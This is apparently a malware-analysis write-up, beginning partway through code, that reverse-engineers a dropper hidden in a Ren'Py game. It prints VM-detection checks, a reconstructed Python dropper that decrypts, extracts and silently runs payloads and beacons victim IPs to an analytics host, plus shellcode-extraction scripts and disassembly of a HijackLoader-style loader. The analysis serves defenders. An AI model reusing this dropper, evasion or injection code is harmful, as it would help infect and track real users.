fpubhun0 = 5
pag3wkoumky0 = f"Something went wrong, so giving benefit of the doubt. Considering this test successful.\nexception: {e}"
im4ff1vmky4 = f"MANUFACTURER is {gubu4t10}."
return fpubhun0, im4ff1vmky4, pag3wkoumky0
else:
return 5, "".join([chr(77),chr(65),chr(78),chr(85),chr(70),chr(65),chr(67),chr(84),chr(85),chr(82),chr(69),chr(82),chr(32),chr(105),chr(115),chr(32),chr(78),chr(111),chr(110),chr(101),chr(46)]), (chr(84)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(99)+chr(97)+chr(110)+chr(32)+chr(111)+chr(110)+chr(108)+chr(121)+chr(32)+chr(98)+chr(101)+chr(32)+chr(114)+chr(117)+chr(110)+chr(32)+chr(111)+chr(110)+chr(32)+chr(87)+chr(105)+chr(110)+chr(100)+chr(111)+chr(119)+chr(115)+chr(46)+chr(32)+chr(67)+chr(111)+chr(110)+chr(115)+chr(105)+chr(100)+chr(101)+chr(114)+chr(105)+chr(110)+chr(103)+chr(32)+chr(116)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(115)+chr(117)+chr(99)+chr(99)+chr(101)+chr(115)+chr(115)+chr(102)+chr(117)+chr(108)+chr(46))Which once simplified gave me :
# WlSQZhiLth9vDjrhYU3AVmhjqo84TvJtpgPGMwzn6L9uj9GAobWq124GOkumCkVb
import os
import subprocess
import math
import platform
class Specs:
@staticmethod
def check_hard_drive():
if os.name == 'nt':
try:
command = 'Get-PSDrive C | Select-Object Used,Free'
output = subprocess.check_output(['powershell', '-Command', command], shell=True).decode()
chunkres = output.split('\n')
for chunk in chunkres[3:]:
if chunk.strip():
data = chunk.split()
used = int(data[0])
free = int(data[1])
total = used + free
break
except Exception as e:
try:
command = 'dir C:\\'
output = subprocess.check_output(command, shell=True).decode()
chunkres = output.split('\n')
for chunk in chunkres:
if 'bytes free' in chunk.lower():
fg2hitlh_s3 = chunk.strip()
free = int(''.join(c for c in fg2hitlh_s3.split()[0] if c.isdigit()))
total = free * 2
used = total - free
break
except:
total = 500 * (2**30)
free = 250 * (2**30)
used = 250 * (2**30)
nbbytes = math.ceil(total / (2 ** 30))
nbbytesused = math.ceil(used / (2 ** 30))
nbbytesfree = math.ceil(free / (2 ** 30))
description1 = f"HARD DRIVE has a total storage of {nbbytes} GigaBytes (Used: {nbbytesused} GB, Free: {nbbytesfree} GB)"
extra1 = None
if nbbytes < 20:
score1 = 0
extra1 = 'Very small storage, but possible for basic systems.'
elif nbbytes < 50:
score1 = 3
extra1 = 'Small but acceptable for basic usage.'
elif nbbytes < 120:
score1 = 4
extra1 = 'Common size for basic systems.'
else:
score1 = 5
return score1, description1, extra1
@staticmethod
def check_ram_space():
ram = 0
if os.name == 'nt':
try:
commandram = 'Get-CimInstance Win32_ComputerSystem | Select-Object TotalPhysicalMemory'
output = subprocess.check_output(["powershell", "-Command", commandram], shell=True).decode()
ram = int(output.split('\n')[3]) / (2 ** 30)
except:
pass
else:
try:
output = subprocess.check_output(['sysctl', '-n', 'hw.memsize']).decode()
ram = int(output) / (2 ** 30)
except:
try:
with open("/proc/meminfo") as f:
for key in f:
if "MemTotal" in key:
ram = int(key.split()[1]) / (2 ** 20)
except:
pass
ram = math.ceil(ram)
description2 = f"RAM has a total storage of {ram} GigaBytes."
extra2 = None
if ram < 2:
score2 = 0
extra2 = 'Low RAM but possible for basic systems.'
elif ram < 4:
score2 = 3
extra2 = 'Sufficient RAM for basic usage.'
elif ram < 8:
score2 = 4
extra2 = 'Common RAM size for modern systems.'
else:
score2 = 5
return score2, description2, extra2
@staticmethod
def check_cpu_cores():
nbcpuscore = 1
if os.name == 'nt':
try:
commandprocessnb = 'Get-CimInstance Win32_Processor | Select-Object NumberOfLogicalProcessors'
output = subprocess.check_output(['powershell', '-Command', commandprocessnb], shell=True).decode()
nbcpuscore = int(output.split('\n')[3])
except:
pass
else:
try:
nbcpuscore = len(os.sched_getaffinity(0))
except:
try:
nbcpuscore = os.cpu_count()
except:
pass
description3 = f"CPU has a total of {nbcpuscore} logical cores."
extra3 = None
if nbcpuscore < 2:
score3 = 0
extra3 = 'Single core but possible for basic systems.'
elif nbcpuscore < 4:
score3 = 3
extra3 = 'Dual core, common for basic systems.'
elif nbcpuscore < 6:
score3 = 4
extra3 = 'Quad core, typical for modern systems.'
else:
score3 = 5
return score3, description3, extra3
_MODELS = ['virtualbox', 'vmware', 'kvm', 'virtual machine', 'qemu', 'xen', 'hyperv', 'hyper-v', 'parallels', 'virtual platform', 'vm platform', 'vsphere', 'proxmox', 'citrix', 'oracle vm', 'bochs', 'virtual pc', 'cloud pc', 'shadow pc', 'amazon ec2', 'google compute engine', 'azure virtual machine', 'bhyve', 'virtual desktop', 'sandbox']
@staticmethod
def check_model():
if os.name == 'nt':
modelinfo = None
extra5 = None
try:
commandmodel = 'Get-CimInstance Win32_ComputerSystem | Select-Object Model'
output = subprocess.check_output(["powershell", "-Command", commandmodel], shell=True).decode()
modelinfo = output.split('\n')[3].strip()
if modelinfo.lower() in Specs._MODELS:
score5 = 0
extra5 = 'MODEL has been linked to a virtual machine.'
else:
score5 = 5
except Exception as e:
score5 = 5
extra5 = f"Something went wrong, so giving benefit of the doubt. Considering this test successful.\nexception: {e}"
description5 = f"MODEL is {modelinfo}."
return score5, description5, extra5
else:
return 5, 'MODEL is None.', 'This test can only be run on Windows. Considering this test successful.'
_MANUFACTURER = ['innotek', 'vmware', 'qemu', 'xen', 'parallels', 'oracle', 'citrix', 'red hat', 'proxmox', 'amazon web services', 'google cloud', 'microsoft azure', 'virtualbox', 'docker', 'nutanix', 'cloud', 'vagrant', 'kubernetes', 'openstack', 'digital ocean', 'linode', 'vultr', 'ibm cloud', 'alibaba cloud', 'huawei cloud', 'tencent cloud']
@staticmethod
def check_manufacturer():
if os.name == 'nt':
manufacturer = None
extra6 = None
try:
commandmanufacturer = 'Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer'
output = subprocess.check_output(["powershell", "-Command", commandmanufacturer], shell=True).decode()
manufacturer = output.split('\n')[3].strip()
if manufacturer.lower() in Specs._MANUFACTURER:
score6 = 0
extra6 = 'MANUFACTURER has been linked to a virtual machine.'
else:
score6 = 5
except Exception as e:
score6 = 5
extra6 = f"Something went wrong, so giving benefit of the doubt. Considering this test successful.\nexception: {e}"
description6 = f"MANUFACTURER is {manufacturer}."
return score6, description6, extra6
else:
return 5, 'MANUFACTURER is None.', 'This test can only be run on Windows. Considering this test successful.'Function check_hard_drive() is basically retrieving total disk size of drive, and gives a score of 0 if the disk size is under 20 GB, and 5 if it's bigger than 120GB.
Then we got function check_ram_space() it queries total physical memory if this physical memory is under 2GB checks will return 0 else for 8GB or more it will return 5.
Function check_cpu_cores() is used to count number of cpus of the machine, less than 2 cpus put the score at 0 but 6 cpus and more let the score at 5.
Of course all those functions are not that binary they can give other scores that will be passed to the _normalize function, which finally says if the malware executes or not.
However the rest of the functions : check_serial_number(), check_model(), check_manufacturer() are indeed binary, bcs they check at hardcoded values if it matches it's a 0 else it's always a 5.
Finally here is what's resume the check for the sandbox, i guess the author didn't use all his functions cause it was too restrictive :
The Execution Gate — What Actually Runs

Finally, as shown in the diagram above, _check_file_system() is never called by is_sandboxed(), the entire FileSystem class is dead code.
Whether this was an oversight or a deliberate choice to keep the detection lightweight, only check_model() and check_manufacturer() actually influence the final score.
Hunting for the Dropper
At this point we know the sandbox check passes, but where is the actual dropper code ? There is no game/script.rpy in the archive, this file is normally run by Ren'Py.
Indeed the author compiled it, generated the bytecode cache, then deleted the source before distributing the malware.
The cache files (py3analysis.rpyb, screens.rpyb) are standard Ren'Py auxiliary files, nothing suspicious. The malicious code is isolated to a single entry inside data/cache/bytecode-39.rpyb, mixed among 3075 legitimate compiled scripts to make it harder to spot.
Unpacking the Bytecode Cache
The bytecode is compressed using zlib and packed with pickle. I used this tiny Python script to unpack it :
import zlib
from pickle import loads
with open("bytecode-39.rpyb", "rb") as thefile:
compressed_data = thefile.read()
uncompressed_data = zlib.decompress(compressed_data)
version, cache = loads(uncompressed_data)
print(f"VERSION : {version}")
print(f"CACHE : {cache}")
for key, code_bytes in cache.items():
print(key)This code gave me tons of results so I added a filter to see only malicious code which might call the sandbox we reversed earlier : if b"is_sandboxed" in code_bytes: print(code_bytes)
As we can see on the screen below, we recovered the right bytecode :

Disassembling the Dropper
In order to disassemble the bytecode I downloaded Python 3.9 :
sudo apt install python3.9 python3.9-dev -yThen I used this code :
import marshal, dis
with open("suspicious_1.pyc", "rb") as file:
data = file.read()
code = marshal.loads(data)
print(dis.dis(code))We get the bytecode perfectly decompiled :
2 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (json)
6 STORE_NAME 0 (json)
3 8 LOAD_CONST 0 (0)
10 LOAD_CONST 1 (None)
12 IMPORT_NAME 1 (subprocess)
14 STORE_NAME 1 (subprocess)
...
10 60 LOAD_CONST 3 (<code object xor_decrypt_file ...>)
62 LOAD_CONST 4 ('xor_decrypt_file')
64 MAKE_FUNCTION 0
66 STORE_NAME 8 (xor_decrypt_file)
27 68 LOAD_CONST 5 (<code object extract_and_run ...>)
70 LOAD_CONST 6 ('extract_and_run')
72 MAKE_FUNCTION 0
74 STORE_NAME 9 (extract_and_run)
I asked Claude AI to reconstruct the code :
import json
import subprocess
import os
import sys
import base64
import traceback
from threading import Thread
def xor_decrypt_file(filename, key):
with open(filename, 'rb') as file:
ciphertext = file.read()
key = key.encode()
plaintext = bytes([byte ^ key[i % len(key)] for i, byte in enumerate(ciphertext)])
with open(filename[:-10], 'wb') as decrypted_file:
decrypted_file.write(plaintext)
def extract_and_run():
try:
game_dir = config.gamedir
meta_path = os.path.join(game_dir, '.key')
with open(meta_path, 'r') as f:
encoded_data = f.read()
decoded_data = base64.b64decode(encoded_data)
meta_data = json.loads(decoded_data.decode('utf-8'))
archive_name = meta_data.get('filename', '')
password = meta_data.get('password', '')
exec_file = meta_data.get('exec_file', '')
sandbox = meta_data.get('sandbox', False)
if sandbox == False:
certainty = 0
try:
from planner import is_sandboxed
certainty = is_sandboxed(logging=False)
except Exception as e:
certainty = 1
if certainty < 0.5:
pass
else:
exit(0)
run_dir = os.path.join(game_dir, '.temp')
if not os.path.exists(run_dir):
os.makedirs(run_dir)
seven_zip = os.path.join(game_dir, 'processor')
archive_path = os.path.join(game_dir, archive_name)
xor_decrypt_file(archive_path, password)
archive_path = archive_path[:-10]
extract_cmd = [
seven_zip, 'x', archive_path,
f'-p{password}', f'-o{run_dir}', '-y'
]
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = subprocess.SW_HIDE
subprocess.run(
extract_cmd, check=True, startupinfo=startupinfo,
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)
exec_path = os.path.join(run_dir, exec_file)
def run_program():
subprocess.Popen([exec_path], cwd=run_dir, startupinfo=startupinfo)
Thread(target=run_program).start()
except Exception as e:
traceback.print_exc()This is the code of the first-stage dropper. Let's break it down :
- It reads the configuration from a hidden
.keyfile with base64-encoded JSON data. - It launches the sandbox checks, if the weighted score is above 0.5 it exits.
- It decrypts an encrypted archive (
7ByXk3POijf8.Vd) with the password from.key. - Finally it extracts the archive and executes the malware.
Stage 2 — Inside the RPA Archive
Now the question is : how do we get this secret .key file to keep exploring this multi-stage malware ?
There is a file called libwin32.rpa and it is an archive for Ren'Py apps. Here you can see the header of the file :

Those archives work with a position index and an XOR key. The data present at the position indicated in the header is zlib-compressed and serialized with pickle. Also the key is used to calculate the next position index.
I used an online tool to extract the sources from that RPA file : https://grviewer.com/
Here is the code we get :
import json
import subprocess
import os, io, sys
import base64, traceback, zipfile, glob, random, string, time
from threading import Thread
from sys_config import is_sandboxed
def xor_decrypt_to_memory(filename, key):
with open(filename, 'rb') as file:
ciphertext = file.read()
key = key.encode()
plaintext = bytes([byte ^ key[i % len(key)] for i, byte in enumerate(ciphertext)])
return plaintext
import requests
def call_lnk(lnk):
try:
response = requests.get(lnk)
print(response)
except Exception as e:
pass
def _d(c, m):
d = base64.urlsafe_b64decode(''.join(c).encode())
k = m.encode()
return ''.join(chr(b ^ k[i % len(k)]) for i, b in enumerate(d))
def elnk(pub='NA', hashid='NA'):
m = ''.join(['cL','kY','_','x9'])
api = _d(['Czgf','KSxC','Fkwt','GzBx','EUkK','KhJ3','MApe'], m)
dom = _d(['Czgf','KSxC','Fkwl','BXc4','HU0A','IAI6','NAEX','ACMG','djYW','Fw=='], m)
sid = _d(['Unxa','bG9O','AVJ9'], m)
sk = _d(['UHQN','YDsb','CVZ-','Xz9q','SlsB','ew=='], m)
ska = _d(['Wy0K','OG5B','XAJ8','Umhu','G1pR','fVJh','PBtc','Untc','Om4c','WFN5','Uz0='], m)
ip = requests.get(api).text
call_lnk(f"{dom}php?site_id={sid}&sitekey_admin={ska}&type=download&title=file&ip_address={ip}&href={pub}&custom[hash]={hashid}")
def extract_and_run():
try:
game_dir = config.gamedir
escaped_dir = glob.escape(game_dir)
matches = glob.glob(os.path.join(escaped_dir, ".*"))
meta_path = matches[0] if matches else None
with open(meta_path, 'r') as f:
encoded_data = f.read()
decoded_data = base64.b64decode(encoded_data)
secret = '81034149cd6f48c8821340204f92766e'.encode()
decrypted = bytes([byte ^ secret[i % len(secret)] for i, byte in enumerate(decoded_data)])
meta_data = json.loads(decrypted.decode('utf-8'))
archive_name = meta_data.get('file_nm', '')
password = meta_data.get('pasw', '')
exec_file = meta_data.get('exc_fl', '')
sandbox = meta_data.get('snd_bx', False)
pub = meta_data.get('pb_s', 'NA')
hashid = meta_data.get('hash', 'NA')
if sandbox == False:
certainty = 0
try:
certainty = is_sandboxed(logging=False)
except Exception as e:
certainty = 1
if certainty < 0.5:
pass
else:
exit(0)
temp_dir = os.environ.get('TEMP', os.path.join(os.path.expanduser('~'), 'AppData', 'Local', 'Temp'))
folder_num = ''.join(random.choices('0123456789', k=5))
folder_uid = ''.join(random.choices('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', k=12))
folder_name = 'tmp-' + folder_num + '-' + folder_uid
run_dir = os.path.join(temp_dir, folder_name)
if not os.path.exists(run_dir):
os.makedirs(run_dir)
archive_path = os.path.join(game_dir, archive_name)
decrypted_bytes = xor_decrypt_to_memory(archive_path, password)
decrypted_file = io.BytesIO(decrypted_bytes)
with zipfile.ZipFile(decrypted_file) as zip_ref:
pwd = password.encode() if password else None
for zip_info in zip_ref.infolist():
with zip_ref.open(zip_info, pwd=pwd) as f:
content = f.read()
original_name = zip_info.filename
out_filename = original_name
if original_name.lower().endswith(('.bat', '.cmd')):
random_number = random.randint(100000, 999999)
content += f'\nREM {random_number}'.encode()
f_ext = '.' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=random.randint(2, 3)))
out_filename = os.path.splitext(original_name)[0] + f_ext
if original_name == exec_file:
exec_file_mapped = out_filename
out_path = os.path.join(run_dir, out_filename)
with open(out_path, 'wb') as out_file:
out_file.write(content)
try:
with open(out_path + ':Zone.Identifier', 'w') as zf:
zf.write('[ZoneTransfer]\r\nZoneId=0\r\n')
except Exception:
pass
exec_path = os.path.join(run_dir, exec_file_mapped)
original_ext = os.path.splitext(exec_file)[1].lower()
def run_program():
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = subprocess.SW_HIDE
if original_ext in ['.bat', '.cmd']:
time.sleep(2)
bat_name = os.path.splitext(exec_file_mapped)[0] + '.bat'
subprocess.Popen(
["forfiles.exe", "/p", run_dir, "/m", exec_file_mapped,
"/c", f"cmd /c ren @file {bat_name} && call {bat_name}"],
cwd=run_dir,
creationflags=0x00000008 | 0x00000200,
stdin=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
close_fds=True
)
return 0
elif original_ext == '.msi':
cmd = ["msiexec", "/i", exec_path]
elif original_ext == '.ps1':
cmd = ["powershell.exe", "-ExecutionPolicy", "Bypass", "-File", exec_path]
else:
cmd = [exec_path]
subprocess.Popen(
cmd, cwd=run_dir, startupinfo=startupinfo,
creationflags=subprocess.DETACHED_PROCESS | subprocess.CREATE_NEW_PROCESS_GROUP,
close_fds=True
)
Thread(target=lambda: elnk(pub, hashid), daemon=True).start()
pt = Thread(target=run_program)
pt.start()
pt.join()
except Exception as e:
traceback.print_exc()
init 1 python:
extract_and_run()I noticed that .key file doesn't appear anymore, however we can see in the code it is looking for any file with the format .*. And we got one file with this format, the .UkJ file, which contains base64 data :
QxNWWlhUa1cORgxEA3oaYFMBYXxdWlQIGjBdEBsURgRLRhIJFkMCbC89RgtuGk8aXUpSbFJcEAoW
N25+W0BsN3BQHlZMVBYVQRdYAmtaGxoCVFBfR1UeEkQEZkEVDBQkZ3AIAwNuVUoOO15QVws8CgAQ
HRFcUUFYFlwbUQEOVwFbCAkDAQBSCVJWUAMNXVoBWlRVCwMBCglRV18KUQRTBwwDB1FRVA0PVVdS
AFVdBgAAUAMBB1FWAFVRXVECUgMACQNTBwJSB1pQBwFUA1tTCw4KAgNSAlFRVVVbVg4AAFAKAAcB
VlcBClYGDl5WDlcKCQJVEUk=
Decoding the Configuration
At the beginning when I opened and tried to decode this file, I couldn't, however the code gives us the XOR key : 81034149cd6f48c8821340204f92766e. That key isn't sent by the C2, which is a significant operational security mistake.
Once decoded I got :
{"file_nm":"7ByXk3POijf8.Vd","pasw":"r6ULYpmZ","exc_fl":"QWLlvZRHa.exe","snd_bx":false,"pb_s":"A_A807_asm_h6c3_28","hash":"c68adc99051f012fe9e99bfd87189e1f8f2eb427bee9663dfaee88b223ad0a7dc5d5e12c46c3c3c727c036830f2caa3bd96652172bf535b88b64210d"}IP Tracking via Clicky Analytics
Now let's simplify the elnk function :
def elnk(pub='NA', hashid='NA'):
m = 'cLkY_x9'
api = 'https://api.ipify.org'
dom = 'https://in.getclicky.com/in.'
sid = '101506811'
sk = '38f9dc0524f52bb7'
ska = '8aaa19ea0911cc2198cce177c1da058d'
ip = requests.get(api).text
call_lnk(f"{dom}php?site_id={sid}&sitekey_admin={ska}&type=download&title=file&ip_address={ip}&href={pub}&custom[hash]={hashid}")call_lnk simply makes a GET request. Replacing all the parameters we get :
https://in.getclicky.com/in.php?site_id=101506811&sitekey_admin=8aaa19ea0911cc2198cce177c1da058d&type=download&title=file&ip_address=165.16.146.12&href=A_A807_asm_h6c3_28&custom[hash]=c68adc99...
I tried going to this URL but got no interesting response, it is probably just an IP logger to track victims.
Decrypting the Payload Archive
Let's now dig into the archive which contains the actual malware. First, notice the cryptographic mistake of the creator.
Even if we have the password in the decoded config file, if we check the first bytes of the 7ByXk3POijf8.Vd archive :
00000000: 227d 5648 4d70 6d5a 7236 f035 982c 3a7c "}VHMpmZr6.5.,:|
You probably notice already that part of the password is leaked. It is possible to use a known plaintext attack through zip magic bytes and recover the key, indeed XOR is invertible because plaintext ^ key = ciphertext and so plaintext ^ ciphertext = key. Applying it with the zip magic bytes 50 4B 03 04 00 00 00 00 :
from pwn import xor
xor(bytes.fromhex("227d56484d706d5a"), bytes.fromhex("504b030400000000"))
# → r6ULMpmZThat is very close to the key, we could just brute-force the one incorrect byte M to find the right value Y.
Once I deciphered the archive with a simple XOR and unzipped it, here are the files we got :
cmmbiz.dll d3dcompiler_47.dll DuiLib.dll
libssl-3-zm.dll msvcp140.dll QWLlvZRHa.exe
system-proc.xml ucrtbase.dll util.dll
vcruntime140.dll zNetUtils.dll Cmmlib.dll
displaydef.dll libcrypto-3-zm.dll msaalib.dll
msvcp_win.dll reslib.dll UIBase.dll
vcruntime140_1.dll zCrashReport64.dll zWinRes.dll
Analyzing the DLL Bundle
The system-proc.xml file contains garbage ASCII data. The most suspicious DLL from the list above is displaydef.dll :

We got a lot of garbage text at the beginning of the file, just like system-proc.xml, but different, and at the end we got some binary data. Looks like this garbage text is there to waste analysis time.
It is not a DLL, and I noticed by reversing all the other DLLs that the only one using those files was actually util.dll.
Indeed we can find the filename system-proc.xml in util.dll :

The offset off_1805D285 is a pointer to the string of this filename, and everything interesting happens in the class mem_log_file.
DLL Patching via displaydef.dll
IDA failed to decompile this class properly, however we can get some idea reading the code :

This function is encrypting stuff from memory and placing filename system-proc.xml in a big struct. I tried debugging the malware but somehow couldn't get into this function and see what was in the struct. Again that's because IDA didn't decompile all this stuff properly.
So I took the assembly close to this function. Here is some assembly code that seemed interesting, first we got this :
180016c50: 45 33 c9 xor r9d,r9d
180016c53: 44 8b da mov r11d,edx
180016c56: 4c 8b c1 mov r8,rcx
180016c59: 44 39 49 18 cmp DWORD PTR [rcx+0x18],r9d
180016c5d: 76 33 jbe 0x180016c92
180016c5f: 49 8b 00 mov rax,QWORD PTR [r8]
180016c62: 42 8b 14 88 mov edx,DWORD PTR [rax+r9*4]
180016c66: 49 8b 40 20 mov rax,QWORD PTR [r8+0x20]
180016c6a: 8b 48 1c mov ecx,DWORD PTR [rax+0x1c]
180016c6d: 49 03 50 48 add rdx,QWORD PTR [r8+0x48]
180016c71: 74 11 je 0x180016c84
180016c75: 0f b6 c0 movzx eax,al
180016c78: 48 ff c2 inc rdx
180016c7b: 8d 0c 48 lea ecx,[rax+rcx*2]
180016c7e: 8a 02 mov al,BYTE PTR [rdx]
180016c80: 84 c0 test al,al
180016c82: 75 f1 jne 0x180016c75
180016c84: 41 3b cb cmp ecx,r11d
180016c87: 74 0c je 0x180016c95
180016c89: 41 ff c1 inc r9d
180016c8c: 45 3b 48 18 cmp r9d,DWORD PTR [r8+0x18]
180016c90: 72 cd jb 0x180016c5f
180016c92: 33 c0 xor eax,eax
180016c94: c3 retThis code is an API hash resolver checking if : , with the hash seed located at rax+0x1c and the targets being constant values like d24d, d2a9, d26d, d275, d259 pointing to values in program memory.
I tried breaking in to get the seed but the DLL crashed.

However with the constant values in IDA we can reconstruct and interpret the meaning. After the definition of this API resolver, some functions that we can guess are called :
| const | value | meaning |
|---|---|---|
d24d | 0x80000000 | GENERIC_READ |
d2a9 | 0x1 | FILE_SHARE_READ |
d26d | 0x40 | PAGE_EXECUTE_READWRITE |
d275 | 0x38be | offset header in displaydef.dll |
d259 / d285 | — | "displaydef.dll" / "system-proc.xml" |
The call sequence is then something like this :
180016df1: call rax ; CreateFileW("displaydef.dll", GENERIC_READ, FILE_SHARE_READ, …, OPEN_EXISTING, …)
180016e0a: call rax ; GetFileSize(hFile, NULL) -> esi = size
180016e41: call rax ; ReadFile(hFile, rbx, size, &read, NULL)
Shellcode Injection into tapisrv.dll
Deciphering occurs at offset 0x38BE :
; d275 = 0x38BE
mov r8d, dword ptr [rip + 0x4642B] ; r8d = 0x38BE
add r8, rbx ; r8 = buffer + 0x38BE
mov eax, dword ptr [r8] ; size = *(DWORD*)(buffer+0x38BE)
lea rcx, [r8 + 8] ; data = buffer+0x38C6
mov r9d, dword ptr [r8 + 4] ; delta = *(DWORD*)(buffer+0x38C2)
lea edx, [rax - 1]
shr edx, 2
inc edx ; count = ((size-1)>>2)+1
loc_decode:
add dword ptr [rcx], r9d ; *(DWORD*)rcx += delta
lea rcx, [rcx + 4]
dec edx
jne loc_decodeWith all this we understand that something is happening at offset 0x38BE of displaydef.dll and indeed if we check, we end up right at the end of the garbage text :
000038a0: 6968 6561 656f 7563 6963 7461 7473 6e74 iheaeoucictatsnt
000038b0: 7469 6f65 696e 6c65 636f 6e65 7163 8420 tioeinleconeqc.
000038c0: 0000 7e40 e858 8f33 7917 eb32 8a1d b023 ..~@.X.3y..2...#
; 0x38be starts at 8420...
The layout after the garbage text is :
[size_of_chunk=0x2084][delta=0x58E8407E][thechunkdata]
Adding delta to every DWORD in thechunkdata gives us "tapisrv.dll" as the first string. Right after, the assembly :
lea rcx, [rdi + 1] ; rcx = "tapisrv.dll"
call rbx ; GetModuleHandleA("tapisrv.dll") -> rax = base
movsx r14, byte ptr [rdi] ; r14 = 0x0D (signed)
add r14, rdi ; r14 = v14
mov ecx, dword ptr [r14 + 4] ; entry = 0x1470
mov r15d, dword ptr [r14 + 8] ; size = 0x1F1E
mov edi, dword ptr [rcx + rax + 2Ch] ; BaseOfCode RVA
add rdi, rax ; rdi = tapisrv.text
call r13 ; VirtualProtect(.text, size, PAGE_EXECUTE_READWRITE, &old)
; -- copy --
mov al, byte ptr [rbx + rcx] ; al = *(source)
mov byte ptr [rcx], al ; *(.text + i) = al
jne loc_copy
call r13 ; VirtualProtect(... restore ...)As you can see, the malware is using DLL patching : taking decrypted bytes from displaydef.dll and placing them in the .text section of tapisrv.dll. I extracted this shellcode using the following script :
import struct
blob = bytearray(open("displaydef.dll", "rb").read())
OFF = 0x38BE
size = struct.unpack_from("<I", blob, OFF)[0]
delta = struct.unpack_from("<I", blob, OFF+4)[0]
start = OFF + 8
for i in range(0, size, 4):
v = (struct.unpack_from("<I", blob, start+i)[0] + delta) & 0xFFFFFFFF
struct.pack_into("<I", blob, start+i, v)
tail = bytes(blob[start:start+size])
b = tail[0] # 0x0D
v14 = b - 256 if b >= 128 else b
entry = struct.unpack_from("<I", tail, v14+4)[0]
code_size = struct.unpack_from("<I", tail, v14+8)[0]
shellcode = tail[v14+0xC : v14+0xC+code_size]
open("shellcode.bin", "wb").write(shellcode)The IDAT Loader (HijackLoader)
Now that the shellcode is extracted, let's take a look at its functionalities. We got about 40 functions :

Function sub_1470 is the main one. It handles a struct a4 which has been passed to the shellcode by the replacement function we saw before, and it does things with system-proc.xml. As the code is quite complex I asked AI for help, and here a more comprehensive code :
// local variable allocation has failed, the output may be wrong!
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int **v3; // rcx
__int64 v4; // rdx
int result; // eax
__int64 v6; // rdx
__int64 v7; // rdx
__int64 v8; // rdx
__int64 v9; // [rsp+0h] [rbp-178h]
__int64 v10; // [rsp+0h] [rbp-178h]
__int64 v11; // [rsp+0h] [rbp-178h]
int v12; // [rsp+8h] [rbp-170h]
int v13; // [rsp+8h] [rbp-170h]
__int64 v14; // [rsp+8h] [rbp-170h]
__int64 v15; // [rsp+10h] [rbp-168h]
int v16; // [rsp+10h] [rbp-168h]
__int64 v17; // [rsp+10h] [rbp-168h]
__int64 v18; // [rsp+18h] [rbp-160h]
__int64 v19; // [rsp+18h] [rbp-160h]
int v20; // [rsp+18h] [rbp-160h]
unsigned int *v21; // [rsp+30h] [rbp-148h]
_QWORD *v22; // [rsp+38h] [rbp-140h]
char v23[4]; // [rsp+40h] [rbp-138h] BYREF
unsigned int v24; // [rsp+44h] [rbp-134h] BYREF
__int64 v25; // [rsp+48h] [rbp-130h]
int i; // [rsp+50h] [rbp-128h]
unsigned int v27; // [rsp+54h] [rbp-124h] BYREF
__int64 v28; // [rsp+58h] [rbp-120h]
_BYTE *v29; // [rsp+60h] [rbp-118h]
__int64 v30; // [rsp+68h] [rbp-110h]
int v31; // [rsp+70h] [rbp-108h] BYREF
unsigned int v32; // [rsp+74h] [rbp-104h]
_WORD *Basename; // [rsp+78h] [rbp-100h]
__int64 (__fastcall *v34)(int, const char **, __int64, __int64); // [rsp+80h] [rbp-F8h]
__int64 v35; // [rsp+88h] [rbp-F0h] BYREF
__int64 v36; // [rsp+90h] [rbp-E8h]
__int64 v37; // [rsp+98h] [rbp-E0h]
__int64 LibraryW; // [rsp+A0h] [rbp-D8h]
_BYTE *v39; // [rsp+A8h] [rbp-D0h]
__int64 (__fastcall *v40)(int, const char **, _QWORD, _BYTE *, _QWORD, unsigned int *); // [rsp+B0h] [rbp-C8h]
int *v41; // [rsp+B8h] [rbp-C0h] BYREF
__int64 v42; // [rsp+C0h] [rbp-B8h] BYREF
unsigned int v43; // [rsp+C8h] [rbp-B0h]
unsigned int v44; // [rsp+CCh] [rbp-ACh]
int v45; // [rsp+D0h] [rbp-A8h]
__int64 v46; // [rsp+D8h] [rbp-A0h]
__int64 v47; // [rsp+E0h] [rbp-98h]
__int64 v48; // [rsp+E8h] [rbp-90h]
__int64 v49; // [rsp+F0h] [rbp-88h]
__int64 v50; // [rsp+F8h] [rbp-80h]
__int64 v51; // [rsp+100h] [rbp-78h]
__int64 v52; // [rsp+108h] [rbp-70h]
__int64 v53; // [rsp+110h] [rbp-68h]
__int64 v54; // [rsp+118h] [rbp-60h]
__int64 v55; // [rsp+120h] [rbp-58h]
__int64 v56; // [rsp+128h] [rbp-50h]
__int64 v57; // [rsp+130h] [rbp-48h]
__int64 v58; // [rsp+138h] [rbp-40h]
_BYTE *v59; // [rsp+140h] [rbp-38h]
_BYTE *v60; // [rsp+148h] [rbp-30h]
unsigned int v61; // [rsp+150h] [rbp-28h] BYREF
_BYTE *v62; // [rsp+154h] [rbp-24h]
unsigned int v63; // [rsp+15Ch] [rbp-1Ch]
__int64 v64; // [rsp+160h] [rbp-18h]
unsigned int **v65; // [rsp+180h] [rbp+8h]
v65 = v3;
v21 = *v3;
v25 = WalkThroughLoadedModules(*(__int64 *)&argc, (__int64)argv, (__int64)envp, (*v3)[21]);
v28 = WalkThroughLoadedModules(*(__int64 *)&argc, (__int64)argv, v4, v21[78]);
v47 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[52], v25, (__int64)v21);
v56 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[26], v25, (__int64)v21);
v46 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, *v21, v25, (__int64)v21);
v52 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[59], v28, (__int64)v21);
v49 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[36], v25, (__int64)v21);
